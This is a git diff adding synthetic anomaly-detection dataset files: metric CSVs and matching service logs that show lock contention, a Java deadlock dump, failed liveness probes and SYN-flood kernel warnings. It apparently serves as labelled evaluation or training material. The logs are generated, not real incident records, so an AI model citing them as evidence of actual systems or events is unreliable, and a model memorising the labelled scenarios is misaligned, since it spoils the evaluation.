09:30:28 inventory-service[3456]: INFO: Inventory check for product_id "1482". +Aug 17 09:30:33 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 17 09:30:46 inventory-service[3456]: INFO: Inventory check for product_id "1994". +Aug 17 09:30:53 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 17 09:31:01 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:31:08 systemd[1]: Started Session 20 of user service_runner. +Aug 17 09:31:19 systemd[1]: Started Session 26 of user service_runner. +Aug 17 09:31:24 systemd[1]: Started Session 20 of user service_runner. +Aug 17 09:31:29 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:31:36 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:31:44 systemd[1]: Started Session 28 of user service_runner. +Aug 17 09:31:48 systemd[1]: Started Session 22 of user service_runner. +Aug 17 09:32:01 systemd[1]: Started Session 24 of user service_runner. +Aug 17 09:32:12 systemd[1]: Started Session 22 of user service_runner. +Aug 17 09:32:23 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:32:28 systemd[1]: Started Session 26 of user service_runner. +Aug 17 09:32:34 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:32:43 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 17 09:32:49 inventory-service[3456]: INFO: Inventory check for product_id "1991". +Aug 17 09:33:01 inventory-service[3456]: INFO: Inventory check for product_id "1850". +Aug 17 09:33:08 systemd[1]: Started Session 25 of user service_runner. +Aug 17 09:33:17 systemd[1]: Started Session 29 of user service_runner. +Aug 17 09:33:27 systemd[1]: Started Session 28 of user service_runner. +Aug 17 09:33:39 inventory-service[3456]: INFO: Inventory check for product_id "1498". +Aug 17 09:33:43 payment-service[2345]: INFO: Transaction started for user "user156". +Aug 17 09:33:57 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 17 09:34:06 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 17 09:34:17 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 17 09:34:24 inventory-service[3456]: INFO: Inventory check for product_id "1098". +Aug 17 09:34:37 systemd[1]: Started Session 20 of user service_runner. +Aug 17 09:34:47 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:34:58 systemd[1]: Started Session 21 of user service_runner. +Aug 17 09:35:07 payment-service[2345]: INFO: Transaction started for user "user163". +Aug 17 09:35:19 inventory-service[3456]: INFO: Inventory check for product_id "1875". +Aug 17 09:37:05 health-checker[4567]: ERROR: Liveness probe failed for services payment-service, inventory-service: request timed out. diff --git a/anom_dataset/scenario_12/anom_12_4.csv b/anom_dataset/scenario_12/anom_12_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..380b180511e247c5d24c5b9f897c1b146ee32e82 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-18T11:07:20Z,0.8577723160237372,59.86248924301107,0.10803162044088133,0.0017151243528326144,0.0431653182772424 +2025-08-18T11:07:25Z,0.6175682955168662,51.38874746583173,0.10667585604985706,0.03953993032558361,0.007878387971467898 diff --git a/anom_dataset/scenario_12/anom_12_4.log b/anom_dataset/scenario_12/anom_12_4.log new file mode 100644 index 0000000000000000000000000000000000000000..41595f0c38abbf9bbea3a367a6ed499a2160f911 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_4.log @@ -0,0 +1,35 @@ +Aug 18 11:00:00 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 18 11:00:03 systemd[1]: Started Session 29 of user service_runner. +Aug 18 11:00:12 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 18 11:00:26 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 18 11:00:40 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 18 11:00:49 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 18 11:00:52 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 18 11:00:59 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 18 11:01:09 systemd[1]: Started Session 24 of user service_runner. +Aug 18 11:01:15 systemd[1]: Started Session 28 of user service_runner. +Aug 18 11:01:26 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 18 11:01:40 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 18 11:01:53 systemd[1]: Started Session 26 of user service_runner. +Aug 18 11:01:56 payment-service[2345]: INFO: Transaction started for user "user170". +Aug 18 11:02:01 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 18 11:02:11 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 18 11:02:20 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 18 11:02:24 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 18 11:02:33 payment-service[2345]: INFO: Transaction started for user "user163". +Aug 18 11:02:46 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 18 11:02:53 systemd[1]: Started Session 20 of user service_runner. +Aug 18 11:03:03 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 18 11:03:07 payment-service[2345]: INFO: Transaction started for user "user129". +Aug 18 11:03:12 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 18 11:03:16 payment-service[2345]: INFO: Transaction started for user "user178". +Aug 18 11:03:22 payment-service[2345]: INFO: Transaction started for user "user160". +Aug 18 11:03:25 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 18 11:03:35 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 18 11:03:45 payment-service[2345]: INFO: Transaction started for user "user103". +Aug 18 11:03:51 systemd[1]: Started Session 24 of user service_runner. +Aug 18 11:03:58 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 18 11:04:03 inventory-service[3456]: INFO: Inventory check for product_id "1564". +Aug 18 11:04:17 inventory-service[3456]: INFO: Requesting lock on resource: account_balance. +Aug 18 11:04:31 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 18 11:07:05 health-checker[4567]: ERROR: Liveness probe failed for services payment-service, inventory-service: request timed out. diff --git a/anom_dataset/scenario_12/anom_12_5.csv b/anom_dataset/scenario_12/anom_12_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..05f9f78c649cc87d4df6ded50134aed1dbf90804 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_5.csv @@ -0,0 +1,91 @@ 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app-server[1234]: INFO User 'admin' logged in from 192.168.2.10 +Aug 22 14:00:30 app-server[1234]: DEBUG Database query executed in 20ms +Aug 22 14:00:35 app-server[1234]: INFO Processing request GET /api/data +Aug 22 14:00:40 app-server[1234]: DEBUG Database query executed in 30ms +Aug 22 14:00:45 app-server[1234]: DEBUG Database query executed in 29ms +Aug 22 14:00:50 app-server[1234]: INFO User 'admin' logged in from 192.168.2.10 +Aug 22 14:00:55 app-server[1234]: DEBUG Database query executed in 37ms +Aug 22 14:01:00 app-server[1234]: DEBUG Database query executed in 46ms +Aug 22 14:01:05 app-server[1234]: DEBUG Database query executed in 40ms +Aug 22 14:01:10 app-server[1234]: INFO Processing request GET /api/data +Aug 22 14:01:15 app-server[1234]: INFO User 'admin' logged in from 192.168.2.10 +Aug 22 14:01:20 app-server[1234]: DEBUG Database query executed in 42ms +Aug 22 14:01:25 app-server[1234]: DEBUG Database query executed in 29ms +Aug 22 14:01:30 app-server[1234]: DEBUG Database query executed in 26ms +Aug 22 14:01:35 app-server[1234]: DEBUG Database query executed in 47ms +Aug 22 14:01:40 app-server[1234]: INFO User 'admin' logged in from 192.168.2.10 +Aug 22 14:01:45 app-server[1234]: INFO Processing request GET /api/data +Aug 22 14:01:50 app-server[1234]: DEBUG Database query executed in 24ms +Aug 22 14:01:55 app-server[1234]: DEBUG Database query executed in 46ms +Aug 22 14:02:00 app-server[1234]: DEBUG Database query executed in 36ms +Aug 22 14:02:05 app-server[1234]: INFO User 'admin' logged in from 192.168.2.10 +Aug 22 14:02:10 app-server[1234]: DEBUG Database query executed in 40ms +Aug 22 14:02:15 app-server[1234]: DEBUG Database query executed in 22ms +Aug 22 14:02:20 app-server[1234]: INFO Processing request GET /api/data +Aug 22 14:02:25 app-server[1234]: DEBUG Database query executed in 30ms +Aug 22 14:02:25 app-server[1234]: WARN Potential contention detected on resource 'TransactionLock'. +Aug 22 14:02:30 systemd[1]: session-c1.scope: Succeeded. +Aug 22 14:03:45 systemd[1]: session-c1.scope: Succeeded. +Aug 22 14:05:00 systemd[1]: session-c3.scope: Succeeded. +Aug 22 14:06:15 systemd[1]: session-c1.scope: Succeeded. diff --git a/anom_dataset/scenario_12/anom_12_6.csv b/anom_dataset/scenario_12/anom_12_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..5017ba7c6a9fe1b95bc31c3d26f021423682a6e7 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,39.89333804806829,39.539299130713296,34.40421891309309,1.2879365740730817,1.2235872926843057 +2025-07-02T12:00:05Z,34.80755429896891,40.85478276765231,28.27228083368175,1.4658673207675859,1.2934156915524166 +2025-07-02T12:00:10Z,30.83121053488588,38.68281847591672,28.1531426853032,0.561562067710252,1.1080172917297442 +2025-07-02T12:00:15Z,12.494471410159854,37.769838882092465,21.908694133318644,0.8941208566346088,0.6047524170549698 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+2025-07-02T12:07:05Z,1.5077396544669897,40.433716010058674,0.0,0.0,0.0 +2025-07-02T12:07:10Z,0.32060496946994843,38.931683933033014,0.0,0.0,0.0 +2025-07-02T12:07:15Z,0.09301193382995376,39.326492677471215,0.0,0.0,0.0 +2025-07-02T12:07:20Z,0.75024844842256,41.113880761051036,0.0,0.0,0.0 +2025-07-02T12:07:25Z,1.0575025245275154,39.97669387203715,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_12/anom_12_6.log b/anom_dataset/scenario_12/anom_12_6.log new file mode 100644 index 0000000000000000000000000000000000000000..00ec01fcddaf40e50f47ce622055d6231508e7c3 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_6.log @@ -0,0 +1,20 @@ +Jul 02 12:00:00 database[5678]: INFO Query executed successfully. +Jul 02 12:00:00 web-app[1234]: INFO Processing request for user 'user6'. +Jul 02 12:00:00 web-app[1234]: INFO User 'user9' successfully authenticated. +Jul 02 12:00:35 web-app[1234]: INFO Processing request for user 'user7'. +Jul 02 12:00:55 database[5678]: INFO Query executed successfully. +Jul 02 12:01:10 web-app[1234]: INFO Processing request for user 'user6'. +Jul 02 12:01:15 web-app[1234]: INFO User 'user1' successfully authenticated. +Jul 02 12:01:45 web-app[1234]: INFO Processing request for user 'user3'. +Jul 02 12:01:50 database[5678]: INFO Query executed successfully. +Jul 02 12:02:20 web-app[1234]: INFO Processing request for user 'user7'. +Jul 02 12:02:30 web-app[1234]: INFO User 'user4' successfully authenticated. +Jul 02 12:02:45 database[5678]: INFO Query executed successfully. +Jul 02 12:02:55 web-app[1234]: INFO Processing request for user 'user2'. +Jul 02 12:03:30 web-app[1234]: INFO Processing request for user 'user1'. +Jul 02 12:03:30 web-app[1234]: INFO Starting batch processing job #8821. +Jul 02 12:03:35 web-app[1234]: INFO Worker thread 1 attempting to lock resource 'resource_A'. +Jul 02 12:03:40 database[5678]: INFO Query executed successfully. +Jul 02 12:03:40 web-app[1234]: INFO Worker thread 2 attempting to lock resource 'resource_B'. +Jul 02 12:04:35 CRON[9982]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 02 12:05:25 systemd[1]: Started Clean php session files. diff --git a/anom_dataset/scenario_12/anom_12_7.csv b/anom_dataset/scenario_12/anom_12_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..f70d4941dc9990474c6502e023ba09629767fc05 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,22.89,42.2,54.89,0.74,1.98 +2025-08-22T10:00:05Z,23.73,43.82,59.48,0.8,1.19 +2025-08-22T10:00:10Z,38.61,40.27,53.04,1.43,1.55 +2025-08-22T10:00:15Z,37.98,44.88,45.15,0.56,1.97 +2025-08-22T10:00:20Z,31.84,40.36,37.69,1.0,1.19 +2025-08-22T10:00:25Z,39.65,45.22,55.93,1.0,1.98 +2025-08-22T10:00:30Z,17.74,40.32,47.65,1.48,0.86 +2025-08-22T10:00:35Z,15.9,45.22,20.07,1.38,1.88 +2025-08-22T10:00:40Z,18.13,44.74,50.47,0.9,1.48 +2025-08-22T10:00:45Z,30.01,40.69,30.48,1.03,1.02 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new file mode 100644 index 0000000000000000000000000000000000000000..447078a9a43ca2723b0a5fc265bf83deab3f479f --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_7.log @@ -0,0 +1,53 @@ +Aug 22 10:00:00 web-app[4321]: INFO: User 'alex' authenticated successfully. +Aug 22 10:00:10 web-app[4321]: INFO: Processing payment transaction T77869. +Aug 22 10:00:20 database[1234]: INFO: Query successful on 'orders' table. +Aug 22 10:00:30 web-app[4321]: DEBUG: Cache cleared for user 'jane'. +Aug 22 10:00:35 web-app[4321]: INFO: User 'alex' authenticated successfully. +Aug 22 10:00:45 web-app[4321]: INFO: Processing payment transaction T23010. +Aug 22 10:00:55 database[1234]: INFO: Query successful on 'orders' table. +Aug 22 10:01:05 web-app[4321]: DEBUG: Cache cleared for user 'jane'. +Aug 22 10:01:10 web-app[4321]: INFO: User 'alex' authenticated successfully. +Aug 22 10:01:20 web-app[4321]: INFO: Processing payment transaction T64709. +Aug 22 10:01:30 database[1234]: INFO: Query successful on 'orders' table. +Aug 22 10:01:40 web-app[4321]: DEBUG: Cache cleared for user 'jane'. +Aug 22 10:01:45 web-app[4321]: INFO: User 'alex' authenticated successfully. +Aug 22 10:01:55 web-app[4321]: INFO: Processing payment transaction T14971. +Aug 22 10:02:05 database[1234]: INFO: Query successful on 'orders' table. +Aug 22 10:02:15 web-app[4321]: DEBUG: Cache cleared for user 'jane'. +Aug 22 10:02:20 web-app[4321]: INFO: User 'alex' authenticated successfully. +Aug 22 10:02:30 web-app[4321]: INFO: Processing payment transaction T67781. +Aug 22 10:02:40 database[1234]: INFO: Query successful on 'orders' table. +Aug 22 10:02:50 web-app[4321]: DEBUG: Cache cleared for user 'jane'. +Aug 22 10:02:55 web-app[4321]: INFO: User 'alex' authenticated successfully. +Aug 22 10:03:05 web-app[4321]: INFO: Processing payment transaction T26636. +Aug 22 10:03:15 database[1234]: INFO: Query successful on 'orders' table. +Aug 22 10:03:43 web-app[4321]: INFO: Attempting to acquire lock on resource 'TransactionProcessor'. +Aug 22 10:03:44 web-app[4321]: INFO: Attempting to acquire lock on resource 'AccountBalance'. +Aug 22 10:04:30 diagnostic-tool[9988]: INFO: Application unresponsive. Generating thread dump... +Aug 22 10:04:31 diagnostic-tool[9988]: Found one Java-level deadlock: +============================= +"Thread-1": + waiting to lock monitor 0x00007f8b8c003e68 (a java.lang.Object), + which is held by "Thread-0" +"Thread-0": + waiting to lock monitor 0x00007f8b8c004f58 (a java.lang.Object), + which is held by "Thread-1" + +Java stack information for the threads listed above: +=================================================== +"Thread-1": + at com.example.MyService.methodB(MyService.java:45) + - waiting to lock <0x00007f8b8c003e68> (a java.lang.Object) + - locked <0x00007f8b8c004f58> (a java.lang.Object) + at com.example.MyService$$FastClassBySpringCGLIB$$1.invoke() + at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) +"Thread-0": + at com.example.MyService.methodA(MyService.java:25) + - waiting to lock <0x00007f8b8c004f58> (a java.lang.Object) + - locked <0x00007f8b8c003e68> (a java.lang.Object) + at com.example.MyService$$FastClassBySpringCGLIB$$1.invoke() + at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) +... + +Aug 22 10:05:00 CRON[21352]: (ubuntu) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:40 CRON[21352]: (ubuntu) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_12/anom_12_8.csv b/anom_dataset/scenario_12/anom_12_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..7d266cc1899ecb78d2849abb25a8116ba3c2279d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T08:00:00Z,24.95,44.4,17.39,0.97,1.37 +2025-08-22T08:00:05Z,22.4,35.28,34.83,0.74,0.99 +2025-08-22T08:00:10Z,20.42,39.59,17.21,1.42,1.04 +2025-08-22T08:00:15Z,11.25,35.5,28.69,1.49,1.68 +2025-08-22T08:00:20Z,19.64,42.06,33.32,0.91,1.45 +2025-08-22T08:00:25Z,11.3,44.23,32.4,0.96,1.03 +2025-08-22T08:00:30Z,17.67,35.61,34.52,1.31,1.32 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+2025-08-22T08:07:25Z,1.38,40.25,0.06,0.03,0.03 diff --git a/anom_dataset/scenario_12/anom_12_8.log b/anom_dataset/scenario_12/anom_12_8.log new file mode 100644 index 0000000000000000000000000000000000000000..e23a6ead770ac8a0abfafc087aa6c429a3b2bc2b --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_8.log @@ -0,0 +1,24 @@ +Aug 22 08:00:00 kubelet[2150]: INFO routine sync completed for pod web-app-8520 +Aug 22 08:00:10 app[3105]: INFO Processing batch of 81 records. +Aug 22 08:00:20 app[3105]: INFO Processing batch of 81 records. +Aug 22 08:00:30 app[3105]: INFO Processing batch of 170 records. +Aug 22 08:00:40 app[3105]: DEBUG Database query executed in 41ms: SELECT * FROM users WHERE id = 433 +Aug 22 08:00:50 app[3105]: DEBUG Database query executed in 61ms: SELECT * FROM users WHERE id = 255 +Aug 22 08:01:00 app[3105]: INFO Processing batch of 72 records. +Aug 22 08:01:10 app[3105]: DEBUG Database query executed in 70ms: SELECT * FROM users WHERE id = 498 +Aug 22 08:01:20 nginx[1890]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 22 08:01:30 kernel: [18234.567] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 08:01:40 kubelet[2150]: INFO routine sync completed for pod web-app-5511 +Aug 22 08:01:50 app[3105]: INFO Processing batch of 101 records. +Aug 22 08:02:00 cron[4501]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 08:02:10 app[3105]: INFO User 'admin' logged in successfully from 10.1.2.3 +Aug 22 08:02:20 nginx[1890]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 22 08:02:30 kernel: [18234.567] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 08:02:40 nginx[1890]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 22 08:02:50 kernel: [18234.567] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 08:03:00 systemd[1]: Started Session 10 of user app-user. +Aug 22 08:03:10 nginx[1890]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 22 08:03:20 kernel: [18234.567] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 08:03:30 nginx[1890]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 22 08:03:40 kernel: [18234.567] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 22 08:05:00 systemd[1]: Starting Clean php session files... diff --git a/anom_dataset/scenario_12/anom_12_9.csv b/anom_dataset/scenario_12/anom_12_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..b80919b954e951b20e8a899763258ec91052df3a --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T14:00:00Z,14.479943033627803,36.10928302799962,34.77740809966471,0.9080729959987862,0.755108422061602 +2025-07-13T14:00:05Z,21.60139961927866,39.71343205465816,27.402100012171772,0.8852376786096888,1.069458792352029 +2025-07-13T14:00:10Z,20.515706125633926,40.283848361117194,33.604513633419344,1.2506328863884246,1.0188744112567722 +2025-07-13T14:00:15Z,19.309700329671518,40.43088069013518,33.973055708344425,1.3966017015145007,0.9200697355284265 +2025-07-13T14:00:20Z,17.226319050638665,44.059261699880125,22.658490551131777,1.2080194832464086,1.0640558475133632 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+2025-07-13T14:07:05Z,0.9377528071068347,39.933517512078616,0.4624936641291938,0.027901614713692704,0.011570240741776006 +2025-07-13T14:07:10Z,1.306808023891397,40.2890804203699,0.06679787150254812,0.06051053317282656,0.07917697880311883 +2025-07-13T14:07:15Z,0.7259043821535014,40.481953105850344,0.26552785766612585,0.04848949220820689,0.0815525958284143 +2025-07-13T14:07:20Z,0.43226518978931416,40.70330018113973,0.1852572187993392,0.07952387504967312,0.06629614943109605 +2025-07-13T14:07:25Z,0.32046904542536037,39.81735443501466,0.2362680990067781,0.044150867985098985,0.008147724128436186 diff --git a/anom_dataset/scenario_12/anom_12_9.log b/anom_dataset/scenario_12/anom_12_9.log new file mode 100644 index 0000000000000000000000000000000000000000..09b62bbfac193f08ca7afd8372fc4a92323ba33d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_9.log @@ -0,0 +1,21 @@ +Jul 13 14:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 13 14:00:00 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:00:20 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:00:35 systemd[1]: Starting daily clean up activities... +Jul 13 14:00:40 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:00:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 14:01:00 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:01:10 systemd[1]: Starting daily clean up activities... +Jul 13 14:01:20 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:01:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 14:01:40 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:01:45 systemd[1]: Starting daily clean up activities... +Jul 13 14:02:00 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:02:20 systemd[1]: Starting daily clean up activities... +Jul 13 14:02:20 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:02:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 14:02:40 web-app[3456]: GET /api/v1/user/15 status=200 OK +Jul 13 14:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 13 14:05:00 systemd[1]: Starting system maintenance tasks... +Jul 13 14:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_13/anom_13_1.csv b/anom_dataset/scenario_13/anom_13_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..8fd0bdbb4729bcb5f6c88ad1f7a478380381bd66 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,26.46,39.64,23.93,2.93,2.33 +2025-07-15T14:00:05Z,23.2,39.41,19.41,1.59,1.31 +2025-07-15T14:00:10Z,37.0,38.8,19.41,2.87,1.3 +2025-07-15T14:00:15Z,21.09,38.58,16.11,1.62,1.64 +2025-07-15T14:00:20Z,20.44,44.44,21.69,2.46,1.43 +2025-07-15T14:00:25Z,39.6,41.2,17.76,2.19,1.85 +2025-07-15T14:00:30Z,22.3,39.49,21.72,1.86,2.17 +2025-07-15T14:00:35Z,36.93,39.66,17.54,2.27,1.85 +2025-07-15T14:00:40Z,27.18,41.01,21.2,2.62,2.42 +2025-07-15T14:00:45Z,27.16,44.04,24.6,1.91,2.48 +2025-07-15T14:00:50Z,36.28,38.88,19.68,1.91,1.58 +2025-07-15T14:00:55Z,24.31,44.26,17.51,2.61,1.76 +2025-07-15T14:01:00Z,20.01,39.45,24.75,2.74,1.26 +2025-07-15T14:01:05Z,38.7,41.42,18.96,2.59,1.26 +2025-07-15T14:01:10Z,28.64,38.01,18.22,2.52,2.05 +2025-07-15T14:01:15Z,25.6,41.3,18.93,2.26,1.79 +2025-07-15T14:01:20Z,31.97,43.31,16.14,2.65,1.21 +2025-07-15T14:01:25Z,30.96,39.23,22.55,2.11,1.28 +2025-07-15T14:01:30Z,24.38,41.2,18.13,2.08,1.03 +2025-07-15T14:01:35Z,25.27,39.4,17.53,1.74,1.27 +2025-07-15T14:01:40Z,37.57,39.16,18.29,1.81,1.69 +2025-07-15T14:01:45Z,25.3,41.77,19.97,2.09,2.15 +2025-07-15T14:01:50Z,28.45,41.4,23.94,2.45,2.33 +2025-07-15T14:01:55Z,21.76,42.96,18.07,1.71,1.55 +2025-07-15T14:02:00Z,35.23,44.52,21.12,1.83,1.53 +2025-07-15T14:02:05Z,24.38,38.74,23.25,1.89,2.48 +2025-07-15T14:02:10Z,27.08,42.33,19.47,2.63,1.47 +2025-07-15T14:02:15Z,33.99,42.75,17.42,2.07,1.38 +2025-07-15T14:02:20Z,38.96,42.3,23.47,2.1,1.67 +2025-07-15T14:02:25Z,24.48,43.12,24.39,2.91,1.61 +2025-07-15T14:02:30Z,7.88,39.44,22.68,0.11,0.18 +2025-07-15T14:02:35Z,5.75,39.07,15.91,0.13,0.25 +2025-07-15T14:02:40Z,11.99,43.42,23.0,0.11,0.31 +2025-07-15T14:02:45Z,11.63,43.22,20.43,0.24,0.3 +2025-07-15T14:02:50Z,13.04,43.02,19.51,0.12,0.22 +2025-07-15T14:02:55Z,6.07,44.95,19.03,0.2,0.26 +2025-07-15T14:03:00Z,7.64,43.72,16.96,0.37,0.33 +2025-07-15T14:03:05Z,9.6,46.88,23.77,0.38,0.32 +2025-07-15T14:03:10Z,12.12,46.56,22.38,0.26,0.25 +2025-07-15T14:03:15Z,5.64,47.43,17.13,0.39,0.32 +2025-07-15T14:03:20Z,6.6,47.84,18.19,0.14,0.33 +2025-07-15T14:03:25Z,14.11,49.15,17.92,0.1,0.22 +2025-07-15T14:03:30Z,7.08,49.38,16.43,0.16,0.37 +2025-07-15T14:03:35Z,10.96,51.87,18.58,0.31,0.13 +2025-07-15T14:03:40Z,8.26,52.15,18.12,0.37,0.22 +2025-07-15T14:03:45Z,89.2,50.69,23.69,0.27,0.17 +2025-07-15T14:03:50Z,75.71,52.19,20.87,0.15,0.3 +2025-07-15T14:03:55Z,84.89,54.05,15.27,0.12,0.11 +2025-07-15T14:04:00Z,82.36,54.43,18.27,0.15,0.31 +2025-07-15T14:04:05Z,91.06,54.63,21.12,0.18,0.32 +2025-07-15T14:04:10Z,89.07,56.07,17.03,0.29,0.14 +2025-07-15T14:04:15Z,84.1,54.93,24.88,0.31,0.31 +2025-07-15T14:04:20Z,85.91,58.33,21.85,0.17,0.36 +2025-07-15T14:04:25Z,83.32,57.59,22.4,0.28,0.16 +2025-07-15T14:04:30Z,84.49,57.32,17.16,0.11,0.26 +2025-07-15T14:04:35Z,94.52,58.64,18.85,0.37,0.29 +2025-07-15T14:04:40Z,92.25,61.08,18.27,0.31,0.35 +2025-07-15T14:04:45Z,90.46,63.36,21.43,0.24,0.21 +2025-07-15T14:04:50Z,78.02,61.08,15.67,0.11,0.19 +2025-07-15T14:04:55Z,79.75,63.21,22.41,0.15,0.23 +2025-07-15T14:05:00Z,75.09,64.19,20.24,0.23,0.3 +2025-07-15T14:05:05Z,82.08,65.51,17.36,0.22,0.26 +2025-07-15T14:05:10Z,88.61,64.16,18.97,0.31,0.14 +2025-07-15T14:05:15Z,83.69,67.05,20.1,0.39,0.34 +2025-07-15T14:05:20Z,93.29,67.07,20.08,0.1,0.38 +2025-07-15T14:05:25Z,84.17,68.9,24.33,0.23,0.16 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+2025-07-15T14:07:10Z,37.1,42.3,17.43,1.76,1.92 +2025-07-15T14:07:15Z,23.39,39.0,19.44,1.59,1.74 +2025-07-15T14:07:20Z,34.35,42.65,18.43,1.72,1.92 +2025-07-15T14:07:25Z,26.75,38.01,15.74,1.79,1.14 diff --git a/anom_dataset/scenario_13/anom_13_1.log b/anom_dataset/scenario_13/anom_13_1.log new file mode 100644 index 0000000000000000000000000000000000000000..457485fde914fd91ce301e070f9536db22d04b9e --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_1.log @@ -0,0 +1,121 @@ +Jul 15 14:00:01 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:00:05 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:00:11 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:00:18 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:00:23 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:00:27 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:00:32 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:00:37 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:00:42 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:00:45 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:00:51 